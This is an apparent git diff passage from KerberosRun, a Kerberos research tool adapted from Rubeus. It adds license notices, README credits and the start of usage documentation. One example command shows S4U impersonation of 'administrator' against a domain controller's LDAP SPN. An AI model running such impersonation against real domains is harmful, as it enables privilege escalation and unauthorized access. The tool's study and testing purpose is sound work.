valid password) + --Domain (A valid domain name) + --ImperonsateUser (A user to impersonate) + --SPN (Target SPN for impersonate user) + --Verbose + + Example: .\KerberosRun.exe --s4u --domain corplab.local --user username --pass password --impersonateuser administrator --spn ldap/dc1.corplab.local diff --git a/NOTICES b/NOTICES new file mode 100644 index 0000000..aadf28f --- /dev/null +++ b/NOTICES @@ -0,0 +1,17 @@ +KerberosRun uses a library distributed under the same MIT license. + +License for Kerberos.NET +--------------------------------- +Copyright (c) .NET Foundation and Contributors. All rights reserved. +The MIT License (MIT) + +https://github.com/dotnet/Kerberos.NET/blob/develop/LICENSE + +Some code in KerberosRun were taken from the tool Rubues (https://github.com/GhostPack/Rubeus) which is under a different license. + +License for Rubeus +--------------------------------- +Copyright (c) 2018, Will Schroeder. All rights reserved. +BSD 3-Clause License + +https://github.com/GhostPack/Rubeus/blob/master/LICENSE \ No newline at end of file diff --git a/README.md b/README.md index 8fda96f..c7472a3 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,16 @@ -# Authentication Flow Details + +# KerberosRun + +KerberosRun is a little tool I use to study Kerberos internals together with my [ADCollector](https://github.com/dev-2null/ADCollector). I'll try to learn and implement stuff from [Rubeus](https://github.com/GhostPack/Rubeus), also something not in Rubeus. + +KerberosRun uses the [Kerberos.NET](https://github.com/dotnet/Kerberos.NET) library built by [Steve Syfuhs](https://twitter.com/stevesyfuhs). It is heavily adapated from [Harmj0y](https://twitter.com/harmj0y)'s Rubeus project (some code were taken directly from this project). + +[dev2null](https://twitter.com/dev2nulI) is the primary author of this project. My colleague [Constantin](https://twitter.com/_Herberos) is the collaborator who helped me build up the tool, had a lot of discussions with me and gave me ideas. + +Thanks Steve for builting up this great library and having discussions with me to solve code problems. Thanks Harmj0y (and other authors) for the concepts and weaponization in Rubeus. Special thanks to [@_dirkjan](https://twitter.com/_dirkjan) for helping me out regarding the KRBCRED structure and other questions. + + +## Authentication Flows [AS Exchange](Authentication/AS_Exchange_DecryptedTGT.md) @@ -6,71 +18,96 @@ [TGS Exchange: S4U](Authentication/TGS_Exchange_S4U.md) -[TGS Exchange: Decrypted With PAC](Authentication/TGS_Exchange_DecryptedWithPAC.md) +[TGS Exchange: Decrypted PAC](Authentication/TGS_Exchange_DecryptedWithPAC.md) [All In One](Authentication/AllInOne.md) +## Usage +```powershell +PS C:\Users\dev2null\Desktop> .\KerberosRun.exe -# KerberosRun + __ __ + / /_____ ____/ / ___ _______ ___ ______ _____ + / '_/ -_) __/ _ \/ -_) __/ _ \(_-